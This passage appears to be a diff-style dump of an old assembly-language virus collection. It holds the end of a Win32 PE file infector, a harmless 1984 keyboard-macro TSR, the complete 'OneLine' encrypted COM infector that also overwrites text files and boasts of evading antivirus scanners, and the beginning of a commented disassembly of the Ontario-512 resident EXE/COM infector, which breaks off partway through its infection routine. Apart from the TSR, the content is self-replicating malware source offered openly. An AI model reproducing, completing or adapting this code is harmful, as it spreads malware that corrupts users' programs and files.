call RestoreAttribs ;Restore its attributes.
|
||||
ret
|
||||
ReadInPEHeader ENDP
|
||||
|
||||
;**** SetNOAttribs ****
|
||||
;This function first saves a files attributes to OrigFileAttribs,
|
||||
;then sets the files attributes to "normal" so that the file can
|
||||
;be written to. On errors, the carry flag is set.
|
||||
|
||||
SetNOAttribs PROC
|
||||
;Get the files attributes.
|
||||
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||||
push eax ;Push found files name.
|
||||
call [ebp+lpfGetFileAttributesA]
|
||||
mov [ebp+OrigFileAttribs], eax ;Save original file attribs.
|
||||
|
||||
;Set file attributes to none so we can write to it if needed.
|
||||
mov eax, FILE_ATTRIBUTE_NORMAL ;Give the file "normal" attribs
|
||||
push eax
|
||||
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||||
push eax ;Push files name to stack.
|
||||
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
|
||||
ret
|
||||
SetNOAttribs ENDP
|
||||
|
||||
;**** MapFile ****
|
||||
;This proc gets a files(file in FileFoundData) size, creates a mapped
|
||||
;object of the size needed, then maps the file into the object created.
|
||||
;Carry flag is set on errors.
|
||||
|
||||
MapFile PROC
|
||||
|
||||
;Create File mapping object.
|
||||
push 0 ;Dont need a name.
|
||||
mov eax, [ebp+SizeOfHost] ;Size of object.
|
||||
push eax
|
||||
push 0 ;Not used.
|
||||
push PAGE_READWRITE ;We need read+write access.
|
||||
push 0 ;Default security.
|
||||
push dword ptr [ebp+OpenFileHandle] ;OPEN file handle.
|
||||
call [ebp+lpfCreateFileMappingA] ;Create the mapped object.
|
||||
cmp eax, 0 ;Did we fail?
|
||||
je OF_Failed ;Yep.
|
||||
mov [ebp+MappedObjectHandle], eax ;Save handle to mapped object.
|
||||
|
||||
;Map file into object.
|
||||
push 0 ;Map WHOLE file.
|
||||
;Offsets are not needed cause we're gonna start mapping at the
|
||||
;beginning of the file.
|
||||
push 0 ;Low order 32 bits of offset.
|
||||
push 0 ;High order 32 bits of offset.
|
||||
push FILE_MAP_WRITE ;We need Read+Write access.
|
||||
push eax ;Handle of mapping object.
|
||||
call [ebp+lpfMapViewOfFile] ;Map the file
|
||||
;Dont ask me why, but this returns some fucked up handle
|
||||
;to memory that doesnt appear to exist, and the file doesnt
|
||||
;seem to be read into memory until this memory is actually
|
||||
;accessed(which magically does NOT cause a page fault)!
|
||||
;weird! (I could be wrong, maybe just my debugger...)
|
||||
mov [ebp+MapBaseAddr], eax ;Save base Address.
|
||||
cmp eax, 0 ;Did we fail?
|
||||
jne MP_Success ;We succeeded
|
||||
stc
|
||||
MP_Success:
|
||||
ret
|
||||
MapFile ENDP
|
||||
|
||||
;**** RestoreAttribs ****
|
||||
;This proc restores the attributes of the file pointed to by
|
||||
;FoundFileData. CarryFlag is NOT set on errors.
|
||||
|
||||
RestoreAttribs PROC
|
||||
;Restore file attributes.
|
||||
mov eax, [ebp+OrigFileAttribs] ;The files original attribs
|
||||
push eax
|
||||
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||||
push eax ;Push found files name.
|
||||
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
|
||||
ret
|
||||
RestoreAttribs ENDP
|
||||
|
||||
;**** OpenFile ****
|
||||
;This proc just opens the file pointed to in FoundFileData.
|
||||
;If successful, the OPEN files handle is put into OpenFileHandle.
|
||||
;If errors happen, the carry flag is set.
|
||||
|
||||
OpenFile PROC
|
||||
;Open the file.
|
||||
push 0
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push 0
|
||||
push 0 ;0=Request exclusive access
|
||||
push GENERIC_READ + GENERIC_WRITE
|
||||
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||||
push eax ;Push files name on stack.
|
||||
call [ebp+lpfCreateFileA] ;Open file.
|
||||
cmp eax, 0FFFFFFFFh ;Did we fail?
|
||||
je OF_Failed ;Jeah, we failed. (SETS CARRY)
|
||||
mov [ebp+OpenFileHandle], eax ;Save handle of OPEN file.
|
||||
clc ;Clear carry flag (no errors)
|
||||
ret
|
||||
OF_Failed:
|
||||
stc ;Set carry flag.
|
||||
ret
|
||||
OpenFile ENDP
|
||||
|
||||
;**** CloseFile ****
|
||||
;This proc just closes the file pointed to by OpenFileHandle.
|
||||
;Carry flag is NOT set if errors occur.(what for?)
|
||||
|
||||
CloseFile PROC
|
||||
;Close the file.
|
||||
push dword ptr [ebp+OpenFileHandle] ;Handle of opened file.
|
||||
call [ebp+lpfCloseHandle] ;Close it
|
||||
ret
|
||||
CloseFile ENDP
|
||||
|
||||
;**** AlignFix ****
|
||||
|
||||
AlignFix PROC
|
||||
xor edx, edx
|
||||
div ecx ;/alignment
|
||||
inc eax ;next alignment
|
||||
mul ecx ;*alignment
|
||||
ret
|
||||
AlignFix ENDP
|
||||
|
||||
;**** ExtractAbsoluteAddress ****
|
||||
|
||||
ExtractAbsoluteAddress PROC
|
||||
pushad ;Save everything.
|
||||
|
||||
mov ecx, [esi] ;Get string length.
|
||||
add esi, 4 ;Point to string
|
||||
rep cmpsb ;Check the string.
|
||||
|
||||
popad ;Restore everything.
|
||||
jne EAA_NotString ;This isn't the string - exit.
|
||||
|
||||
xchg esi, eax ;ESI = dword for address.
|
||||
|
||||
mov eax, [ebx+1Ch] ;RVA of Function Address array.
|
||||
add eax, [ebp+UnnamedOffset] ;Plus unused function names.
|
||||
add eax, [ebp+K32Base] ;Plus DLL load address.
|
||||
add eax, ecx ;Plus array offset.
|
||||
mov eax, [eax] ;Get the address.
|
||||
add eax, [ebp+K32Base] ;Plus DLL load address.
|
||||
|
||||
mov [esi], eax ;Save the address.
|
||||
|
||||
EAA_NotString:
|
||||
ret
|
||||
ExtractAbsoluteAddress ENDP
|
||||
|
||||
;**** MyGetProcAddress ****
|
||||
|
||||
MyGetProcAddress PROC
|
||||
push eax ;lpProcName.
|
||||
mov eax, [ebp+ModHandle] ;< hModule.
|
||||
push eax ;<
|
||||
call [ebp+lpfGetProcAddress] ;Call GetProcAddress directly.
|
||||
|
||||
cmp eax, 0 ;EAX = 0?
|
||||
jne MyGetProcDone ;Nope, success.
|
||||
|
||||
stc ;Failure.
|
||||
|
||||
MyGetProcDone:
|
||||
ret
|
||||
MyGetProcAddress ENDP
|
||||
|
||||
|
||||
; ****** DATA ******
|
||||
|
||||
K32Base dd 0 ;Start of K32 in memory.
|
||||
UnnamedOffset dd 0
|
||||
ModHandle dd 0BFF70000h ;Used with calls to MyGetProcAddr.
|
||||
lpfGetProcAddress dd 15d ;Crap for finding GetProcAddress.
|
||||
db "GetProcAddress",0
|
||||
FoundFileData WIN32_FIND_DATA ? ;Crap used for finding files.
|
||||
lpsExeFiles db '*.exe',0
|
||||
OldEA dd 0 ;Original Entry Point(NOT RVA)
|
||||
OldPhysSize dd 0 ;Old physical size of last object.
|
||||
FoundFileHandle dd 0 ;Spot for handle of found files.
|
||||
OpenFileHandle dd 0 ;Spot for handle of open files.
|
||||
MappedObjectHandle dd 0 ;Handle of mapped object.
|
||||
OrigFileAttribs dd 0 ;Spot for file attributes.
|
||||
DataFromFile dd 0 ;Data read from file.
|
||||
FileBytesRead dd 0 ;Number of bytes read.
|
||||
MapBaseAddr dd 0 ;Base address of mapped object.
|
||||
SizeOfHost dd 0 ;Size needed for mapped object.
|
||||
|
||||
PE_Header: ;Buffer for PE header.
|
||||
Sig_Bytes: dd 0
|
||||
CPU_Type: dw 0
|
||||
NumbOfObjects dw 0
|
||||
TimeStamp dd 0
|
||||
Reserved1 dd 0
|
||||
Reserved2 dd 0
|
||||
NT_HDR_Size dw 0
|
||||
Flags dw 0
|
||||
Reserved3 dw 0
|
||||
LMajor db 0
|
||||
LMinor db 0
|
||||
Reserved4 dd 0
|
||||
Reserved5 dd 0
|
||||
Reserved6 dd 0
|
||||
EntryPointRVA dd 0
|
||||
Reserved7 dd 0
|
||||
Reserved8 dd 0
|
||||
ImageBase dd 0
|
||||
ObjectAlign dd 0
|
||||
FileAlign dd 0
|
||||
OS_Major dw 0
|
||||
OS_Minor dw 0
|
||||
UserMajor dw 0
|
||||
UserMinor dw 0
|
||||
SubSysMajor dw 0
|
||||
SubSysMinor dw 0
|
||||
Reserved9 dd 0
|
||||
ImageSize dd 0 ;54h bytes.
|
||||
|
||||
ObjectTable: db 240d dup (0) ;Room for 6 object entries.
|
||||
|
||||
ImportTable: ; :-)
|
||||
db 'FindFirstFileA',0
|
||||
lpfFindFirstFileA dd 0
|
||||
db 'FindNextFileA',0
|
||||
lpfFindNextFileA dd 0
|
||||
db 'GetFileAttributesA',0
|
||||
lpfGetFileAttributesA dd 0
|
||||
db 'SetFileAttributesA',0
|
||||
lpfSetFileAttributesA dd 0
|
||||
db 'CreateFileA',0
|
||||
lpfCreateFileA dd 0
|
||||
db 'SetFilePointer',0
|
||||
lpfSetFilePointer dd 0
|
||||
db 'ReadFile',0
|
||||
lpfReadFile dd 0
|
||||
db 'GetFileSize',0
|
||||
lpfGetFileSize dd 0
|
||||
db 'CreateFileMappingA',0
|
||||
lpfCreateFileMappingA dd 0
|
||||
db 'MapViewOfFile',0
|
||||
lpfMapViewOfFile dd 0
|
||||
db 'UnmapViewOfFile',0
|
||||
lpfUnmapViewOfFile dd 0
|
||||
db 'CloseHandle',0
|
||||
lpfCloseHandle dd 0
|
||||
|
||||
lpsSig db '-=[ONE V1.0b by JFK/SGWW]=-'
|
||||
|
||||
v_end:
|
||||
end v_start
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,202 @@
|
||||
VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts
|
||||
ORG 9H*4 ;The keyboard Interrupt
|
||||
KEYBOARD_INT_VECTOR LABEL DWORD
|
||||
ORG 1CH*4 ;Timer Interrupt
|
||||
TIMER_VECTOR LABEL DWORD
|
||||
VECTORS ENDS
|
||||
|
||||
ROM_BIOS_DATA SEGMENT AT 40H ;The ROM BIOS data area in low memory
|
||||
ORG 1AH ;This is where the keyboard buffer is.
|
||||
ROM_BUFFER_HEAD DW ? ;The position of the buffer's head
|
||||
ROM_BUFFER_TAIL DW ? ;And tail.
|
||||
KB_BUFFER DW 16 DUP (?) ;Reserve space for the buffer itself
|
||||
KB_BUFFER_END LABEL WORD ;Buffer's end is stored here.
|
||||
ROM_BIOS_DATA ENDS
|
||||
|
||||
CODE_SEG SEGMENT ;Begin the Code segment holding the programs
|
||||
ASSUME CS:CODE_SEG
|
||||
ORG 100H ;Com files start at ORG 100H
|
||||
BEGIN: JMP INIT_VECTORS ;Skip over data area
|
||||
|
||||
COPY_RIGHT DB '(C) 1984 S. Holzner' ;The Author's signature
|
||||
KEYS DW 30 DUP(0) ;The keys we replace
|
||||
FINISHED_FLAG DB 1 ;If not finished, timer will stuff buffer
|
||||
COMMANDS DW 1530 DUP(0) ;Scan and ASCII codes of commands
|
||||
COMMAND_INDEX DW 1 ;Stores position in command (for timer)
|
||||
ROM_KEYBOARD_INT DD 1 ;Called to interpret keyboard signals
|
||||
ROM_TIMER DD 1 ;The Timer interrupt's address
|
||||
|
||||
INTERCEPT_KEYBOARD_INT PROC NEAR ;Here it is.
|
||||
ASSUME DS:NOTHING ;Free DS
|
||||
PUSH DS ;Save all used registers
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH DX
|
||||
PUSH CX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
PUSHF ;Pushf for Keyboard Int's IRET
|
||||
CALL ROM_KEYBOARD_INT ;Have new key put into keyboard buffer
|
||||
ASSUME DS:ROM_BIOS_DATA ;Set up to point at keyboard buffer.
|
||||
MOV AX,ROM_BIOS_DATA
|
||||
MOV DS,AX
|
||||
|
||||
MOV BX,ROM_BUFFER_TAIL ;Was there a character? If Tail equals
|
||||
CMP BX,ROM_BUFFER_HEAD ; Head then no real character typed.
|
||||
JNE NEWCHAR
|
||||
JMP NO_NEW_CHARACTERS ;Jump out, no new characters.
|
||||
NEWCHAR:SUB BX,2 ;Move back two bytes from tail;
|
||||
CMP BX,OFFSET KB_BUFFER ;Do we have to wrap?
|
||||
JAE NO_WRAP ;No
|
||||
MOV BX,OFFSET KB_BUFFER_END ;Wrap by moving two bytes
|
||||
SUB BX,2 ; before buffer end.
|
||||
NO_WRAP:MOV AX,[BX] ;Get the character into AX
|
||||
|
||||
CMP FINISHED_FLAG,1 ;Done stuffing the buffer with last command?
|
||||
JE FIN ;Yes, proceed
|
||||
JMP NO_NEW_CHARACTERS ;No, leave.
|
||||
|
||||
FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish
|
||||
|
||||
LEA SI,KEYS ;Point source index at keys to replace
|
||||
MOV CX,30 ;Loop over all of them
|
||||
LOOPER: CMP AX,CS:[SI] ;Match to given key (in AX)?
|
||||
JE FOUND ;Yes, key found, continue on.
|
||||
ADD SI,2 ;Point to next key to check it.
|
||||
LOOP LOOPER ;Go back for next one.
|
||||
JMP NO_NEW_CHARACTERS ;Loop finished without match - leave.
|
||||
|
||||
FOUND: CLI ;Turn off hardware (timer, keyboard) Interrupts
|
||||
LEA SI,COMMANDS ;Set up to read command
|
||||
NEG CX ;Find the location of first word of command
|
||||
ADD CX,30
|
||||
MOV AX,CX
|
||||
MOV CX,102
|
||||
MUL CL
|
||||
ADD SI,AX
|
||||
MOV COMMAND_INDEX,SI ;And move it into Command_Index
|
||||
|
||||
STUFF: MOV AX,CS:[SI] ;Here we go - get ready to stuff word in buffer.
|
||||
ADD SI,2 ;Point to the command's next character
|
||||
CMP AX,0 ;Is it a zero? (End of command)
|
||||
JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1
|
||||
MOV DX,BX ;Find position in buffer from BX
|
||||
ADD DX,2 ;Move to next position for this word
|
||||
CMP DX,OFFSET KB_BUFFER_END ;Are we past the end?
|
||||
JL NO_WRAP2 ;No, don't wrap
|
||||
MOV DX,OFFSET KB_BUFFER ;Wrap
|
||||
NO_WRAP2:
|
||||
CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done?
|
||||
JE BUFFER_FULL ;Time to leave, set Finished_Flag=0.
|
||||
ADD COMMAND_INDEX,2 ;Move to next word in command
|
||||
MOV [BX],AX ;Put it into the buffer right here.
|
||||
ADD BX,2 ;Point to next space in buffer
|
||||
CMP BX,OFFSET KB_BUFFER_END ;Wrap here?
|
||||
JL NO_WRAP3 ;No, readjust buffer tail
|
||||
MOV BX,OFFSET KB_BUFFER ;Yes, wrap
|
||||
NO_WRAP3:
|
||||
MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail
|
||||
JMP STUFF ;Back to stuff in another character.
|
||||
BUFFER_FULL: ;If buffer is full, let timer take over
|
||||
MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0.
|
||||
NO_NEW_CHARACTERS:
|
||||
POP AX ;Restore everything before departure.
|
||||
POP BX
|
||||
POP CX
|
||||
POP DX
|
||||
POP DI
|
||||
POP SI
|
||||
POP DS
|
||||
STI
|
||||
IRET ;An interrupt deserves an IRET
|
||||
INTERCEPT_KEYBOARD_INT ENDP
|
||||
ASSUME DS:CODE_SEG
|
||||
INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer
|
||||
PUSHF ;Store used flags
|
||||
PUSH DS ;Save DS since we'll change it
|
||||
PUSH CS ;Put current value of CS into DS
|
||||
POP DS
|
||||
CALL ROM_TIMER ;Make obligatory call
|
||||
PUSHF
|
||||
CMP FINISHED_FLAG,1 ;Do we have to do anything?
|
||||
JE OUT ;No, leave
|
||||
CLI ;Yes, start by clearing interrupts
|
||||
PUSH DS ;Save these.
|
||||
PUSH SI
|
||||
PUSH DX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again.
|
||||
MOV AX,ROM_BIOS_DATA
|
||||
MOV DS,AX
|
||||
MOV BX,ROM_BUFFER_TAIL ;Prepare to put charaters in at tail
|
||||
MOV FINISHED_FLAG,1 ;Assume we'll finish
|
||||
MOV SI,COMMAND_INDEX ;Find where we left ourselves
|
||||
|
||||
STUFF2: MOV AX,CS:[SI] ;The same stuff loop as above.
|
||||
ADD SI,2 ;Point to next command character.
|
||||
CMP AX,0 ;Is it zero? (end of command)
|
||||
JNE OVER ;No, continue.
|
||||
JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1
|
||||
OVER: MOV DX,BX ;Find position in buffer from BX
|
||||
ADD DX,2 ;Move to next position for this word
|
||||
CMP DX,OFFSET KB_BUFFER_END ;Are we past the end?
|
||||
JL NO_WRAP4 ;No, don't wrap
|
||||
MOV DX,OFFSET KB_BUFFER ;Do the Wrap rap.
|
||||
NO_WRAP4:
|
||||
CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done?
|
||||
JE BUFFER_FULL2 ;Time to leave, come back later.
|
||||
ADD COMMAND_INDEX,2 ;Point to next word of command.
|
||||
MOV [BX],AX ;Put into buffer
|
||||
ADD BX,2 ;Point to next space in buffer
|
||||
CMP BX,OFFSET KB_BUFFER_END ;Wrap here?
|
||||
JL NO_WRAP5 ;No, readjust buffer tail
|
||||
MOV BX,OFFSET KB_BUFFER ;Yes, wrap
|
||||
NO_WRAP5:
|
||||
MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail
|
||||
JMP STUFF2 ;Back to stuff in another character
|
||||
BUFFER_FULL2:
|
||||
MOV FINISHED_FLAG,0 ;Set flag to not-done-yet.
|
||||
NO_NEW_CHARACTERS2:
|
||||
POP AX ;Restore these.
|
||||
POP BX
|
||||
POP DX
|
||||
POP SI
|
||||
POP DS
|
||||
OUT: POPF ;And Exit.
|
||||
POP DS
|
||||
IRET ;With customary IRET
|
||||
INTERCEPT_TIMER ENDP
|
||||
|
||||
INIT_VECTORS PROC NEAR ;Rest Interrupt vectors here
|
||||
ASSUME DS:VECTORS
|
||||
PUSH DS
|
||||
MOV AX,VECTORS
|
||||
MOV DS,AX
|
||||
CLI ;Don't allow interrupts
|
||||
MOV AX,KEYBOARD_INT_VECTOR ;Get and store old interrupt address
|
||||
MOV ROM_KEYBOARD_INT,AX
|
||||
MOV AX,KEYBOARD_INT_VECTOR[2]
|
||||
MOV ROM_KEYBOARD_INT[2],AX
|
||||
|
||||
MOV KEYBOARD_INT_VECTOR,OFFSET INTERCEPT_KEYBOARD_INT
|
||||
MOV KEYBOARD_INT_VECTOR[2],CS ;And put ours in place.
|
||||
MOV AX,TIMER_VECTOR ;Now same for timer
|
||||
MOV ROM_TIMER,AX
|
||||
MOV AX,TIMER_VECTOR[2]
|
||||
MOV ROM_TIMER[2],AX
|
||||
|
||||
MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER
|
||||
MOV TIMER_VECTOR[2],CS ;And intercept that too.
|
||||
STI
|
||||
ASSUME DS:ROM_BIOS_DATA
|
||||
MOV AX,ROM_BIOS_DATA
|
||||
MOV DS,AX
|
||||
MOV BX,OFFSET KB_BUFFER ;Clear the keyboard buffer.
|
||||
MOV ROM_BUFFER_HEAD,BX
|
||||
MOV ROM_BUFFER_TAIL,BX
|
||||
MOV DX,OFFSET INIT_VECTORS ;Prepare to attach in memory
|
||||
INT 27H ;And do so.
|
||||
INIT_VECTORS ENDP
|
||||
CODE_SEG ENDS
|
||||
END BEGIN ;End Begin so that we jump there first.
|
||||
@@ -0,0 +1,134 @@
|
||||
|
||||
; ------------------------------------------------------------
|
||||
; -- The OneLine Virus --
|
||||
; -- By Arsonic[CodeBreakers] --
|
||||
; -- HTTP://CODEBREAKERS.SIMPLENET.COM --
|
||||
; ------------------------------------------------------------
|
||||
|
||||
|
||||
; Virus Info: This Virus is a 600 byte Long Encrypted Overwriting piece of
|
||||
; shit. it will infect all *.com file in the current directory and overwrite
|
||||
; the first line of all text files found with Famous Lines And Stuff..
|
||||
|
||||
; Detected By:
|
||||
|
||||
; TBAV: Says This is a Unknown Virus.. But Only on the First Generation.. :)
|
||||
; FPROT: ??? did'n have it on my computer at the time of scanning..
|
||||
; AVP: Nope.. Detected 3000 other virus's i got on my comp.. but not this one..
|
||||
|
||||
jmp crypt_start
|
||||
|
||||
start:
|
||||
mov di,si
|
||||
mov cx,crypt_start
|
||||
call crypt
|
||||
jmp crypt_start
|
||||
|
||||
crypt:
|
||||
xorloop:
|
||||
lodsb
|
||||
xor al,byte ptr[xor_value]
|
||||
stosb
|
||||
loop xorloop
|
||||
ret
|
||||
|
||||
xor_value db 0
|
||||
|
||||
crypt_start:
|
||||
|
||||
mov ah,4eh
|
||||
lea dx,mask
|
||||
int 21h
|
||||
jnc infect
|
||||
jmp text
|
||||
|
||||
infect:
|
||||
mov ax,3d02h
|
||||
mov dx,9eh
|
||||
int 21h
|
||||
mov bx,ax
|
||||
|
||||
; I suggest 'xchg bx,ax', because its only 1 byte, but thats your decision
|
||||
|
||||
in al,40h
|
||||
mov byte ptr [xor_value],al
|
||||
|
||||
lea si,crypt_start
|
||||
lea di,end
|
||||
mov cx,end - crypt_start
|
||||
call crypt
|
||||
|
||||
mov ah,40h
|
||||
mov cx,crypt_start - start
|
||||
lea dx,start
|
||||
int 21h
|
||||
|
||||
mov ah,40h
|
||||
mov cx,end - crypt_start
|
||||
lea dx,end
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp find_next
|
||||
|
||||
find_next:
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jnc infect
|
||||
jmp text
|
||||
|
||||
text:
|
||||
mov ah,4eh
|
||||
lea dx,textmask
|
||||
int 21h
|
||||
jnc text_payload
|
||||
jmp close
|
||||
|
||||
text_payload:
|
||||
mov ax,3d02h
|
||||
mov dx,9eh
|
||||
int 21h
|
||||
|
||||
mov ah,40h
|
||||
mov cx,message_end - message_start
|
||||
lea dx,message_start
|
||||
int 21h
|
||||
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jmp text_findnext
|
||||
|
||||
text_findnext:
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jnc text_payload
|
||||
jmp close
|
||||
|
||||
message_start:
|
||||
db 'LEGALIZE CANNABUS!'
|
||||
db 'HO HO HO.. NOW I HAVE A MACHINE GUN!'
|
||||
db 'This is another 60 minutes...'
|
||||
db 'Burn Baby, BURN!'
|
||||
db 'Keep The Opressor Opressing..'
|
||||
db 'Have U Had Your Break TodaY?'
|
||||
db 'Oh I Wish I Was A Ocsar Myer Wiener!'
|
||||
db 'What Came First The Chicken Or the Egg?'
|
||||
db 'Help Me.. Help You!'
|
||||
db 'SHOW ME THE MONEY!!'
|
||||
db 'Take it Off Baby!'
|
||||
db 'ADRIAN!!!!'
|
||||
db 'Where do You Want To Go Today?'
|
||||
db 'We Are the Shitty VR! VRLAND SUX SHIT!'
|
||||
db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!'
|
||||
message_end:
|
||||
|
||||
close:
|
||||
int 20h
|
||||
|
||||
mask db '*.com',0
|
||||
textmask db '*.txt',0
|
||||
author db ' ARSONIC [CODEBREaKERS]',13,10,'$'
|
||||
virus db 'THE OnELINE VIRUS',13,10,'$'
|
||||
origin db 'PROUDLY MADE IN CANADA..',13,10,'$'
|
||||
end:
|
||||
@@ -0,0 +1,296 @@
|
||||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;-* Ontario-512 Virus *-
|
||||
;*- ~~~~~~~~~~~~~~~~~~~ -*
|
||||
;-* Disassmembly by: Rock Steady/NuKE *-
|
||||
;*- ~~~~~~~~~~~~~~~~ -*
|
||||
;-* Notes: Resident EXE and COM infector, will infect COMMAND.COM *-
|
||||
;*- ~~~~~~ on execution. 512 bytes file increase, memory decrease -*
|
||||
;-* of about 2,048 bytes. Anti-debugging, encrypted virus. *-
|
||||
;*- -*
|
||||
;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92 *-
|
||||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
virus segment byte public
|
||||
assume cs:virus, ds:virus
|
||||
|
||||
org 100h ;Guess its a COM File huh?
|
||||
ont proc far
|
||||
|
||||
start:
|
||||
jmp go4it ;Jump to beginning of the
|
||||
db 1Dh ;Virus And start!
|
||||
db 'fected [NuKE]''92', 0Dh, 0Ah, '$'
|
||||
mov dx,0102h ;This is the small File the Virus
|
||||
mov ah,09h ;is infected to! As you see it only
|
||||
int 21h ;displays that messages and exits
|
||||
int 20h ;Exit Command for COMs
|
||||
go4it:
|
||||
nop
|
||||
call decrypt ;Get Decryption value & Decrypt viri
|
||||
call virus_start ;Start the Virus!
|
||||
ont endp
|
||||
|
||||
;---------------------------------------------------------------------;
|
||||
; The Start of the Virus Code ;
|
||||
;---------------------------------------------------------------------;
|
||||
|
||||
virus_start proc near
|
||||
pop bp
|
||||
sub bp,7
|
||||
mov ax,0FFFFh ;Is Virus in Memory hooked on?
|
||||
int 21h ;the Int 21h?
|
||||
or ah,ah ;
|
||||
jz bye_bye ;Yes it is... Quit then...
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
sub word ptr ds:413h,2
|
||||
lds bx,dword ptr ds:84h
|
||||
mov word ptr cs:[200h][bp],bx
|
||||
mov word ptr cs:[202h][bp],ds
|
||||
mov bx,es
|
||||
dec bx
|
||||
mov ds,bx
|
||||
sub word ptr ds:3,80h
|
||||
mov ax,ds:12h
|
||||
sub ax,80h
|
||||
mov ds:12h,ax
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bp
|
||||
xor di,di
|
||||
mov cx,204h
|
||||
cld
|
||||
rep movsb
|
||||
mov ds,cx
|
||||
cli ;This is where we hook the
|
||||
mov word ptr ds:84h,7Fh ;virus to the Int21h
|
||||
mov word ptr ds:84h+2,ax
|
||||
sti
|
||||
mov ax,4BFFh
|
||||
int 21h
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
bye_bye:
|
||||
or bp,bp
|
||||
jz what
|
||||
lea si,[bp+7Bh]
|
||||
nop
|
||||
mov di,offset ds:[100h]
|
||||
push di
|
||||
cld
|
||||
movsw
|
||||
movsw
|
||||
retn
|
||||
what:
|
||||
mov ax,es
|
||||
add cs:7dh,ax
|
||||
;* jmp far ptr go4it7
|
||||
virus_start endp
|
||||
db 0EAh,0EBh, 15h, 49h, 6Eh
|
||||
cmp ax,0FFFFh
|
||||
jne new_21h
|
||||
inc ax
|
||||
iret
|
||||
;---------------------------------------------------------------------;
|
||||
; Interrupt 21h handler ;
|
||||
;---------------------------------------------------------------------;
|
||||
new_21h:
|
||||
cmp ah,4Bh ;Test, is File beginning Executed!
|
||||
jne leave_ok ;Nope! Call Int21!
|
||||
cmp al,3 ;Overlay, beginning execute?
|
||||
je leave_ok ;Yes! Leave it alone
|
||||
cmp al,0FFh ;Virus testing to see if its alive?
|
||||
jne do_it_man ;in memory?
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,1DDh
|
||||
call infect
|
||||
iret
|
||||
do_it_man:
|
||||
call infect ;Infect file dude...
|
||||
leave_ok:
|
||||
jmp dword ptr cs:[200h] ;Int21 handler..
|
||||
|
||||
;---------------------------------------------------------------------;
|
||||
; Infection Routine for the Ontario Virus ;
|
||||
;---------------------------------------------------------------------;
|
||||
|
||||
infect proc near
|
||||
push es
|
||||
push ds ;Save them not to fuck things up..
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
mov ax,4300h ;Here we get the file attribute
|
||||
call int21 ;for file to be infected.
|
||||
jc outta ;Bitch Error encountered. Quit!
|
||||
test cl,1 ;Test if its Read-Only!
|
||||
jz attrib_ok ;Ok, it ain't Read-Only Continue!
|
||||
and cl,0FEh ;Set Read-Only to normal Attribs
|
||||
mov ax,4301h ;Call Ints to do it...
|
||||
call int21 ;Bingo! Done!
|
||||
jc outta ;Error encountered? Split if yes!
|
||||
attrib_ok:
|
||||
mov ax,3D02h ;Open file for Read/Write
|
||||
call int21 ;Call Interrupt to do it!
|
||||
jnc open_ok ;no errors? Continue!
|
||||
outta:
|
||||
jmp go4it5 ;Hey, Split Man... Errors happened!
|
||||
open_ok:
|
||||
mov bx,ax ;BX=File Handle
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,5700h ;Get File's Date & Time
|
||||
call int21 ;Do it!
|
||||
mov word ptr ds:[204h],cx ;Save Time
|
||||
mov word ptr ds:[206h],dx ;Save Date
|
||||
mov dx,208h ;DX=Pointer
|
||||
mov cx,1Bh ;CX=Number of Btyes
|
||||
mov ah,3Fh ;Read From File
|
||||
call int21 ;Do It!
|
||||
jc go4it1 ;Errors? Quit if yes!
|
||||
cmp word ptr ds:[208h],5A4Dh ;Check if files already
|
||||
je go4it0 ;infected.
|
||||
mov al,byte ptr ds:[209h] ;Com , Exes...
|
||||
cmp al,byte ptr ds:[20Bh]
|
||||
je go4it1
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
mov ax,4202h
|
||||
call int21 ;Move File pointer to end of
|
||||
jc go4it1 ;file to be infected.
|
||||
cmp ax,0E000h ;File bigger than E000 bytes?
|
||||
ja go4it1 ;Error...
|
||||
push ax ;Save File Length
|
||||
mov ax,word ptr ds:[208h]
|
||||
mov ds:7bh,ax
|
||||
mov ax,word ptr ds:[20Ah]
|
||||
mov ds:7dh,ax
|
||||
pop ax ;All this is, is a complex
|
||||
sub ax,3 ;way to do "JMP"
|
||||
mov byte ptr ds:[208h],0E9h ;
|
||||
mov word ptr ds:[209h],ax
|
||||
mov byte ptr ds:[20Bh],al
|
||||
jmp short go4it3 ;File READY Infect it!
|
||||
db 90h ;NOP me... detection string?
|
||||
go4it0:
|
||||
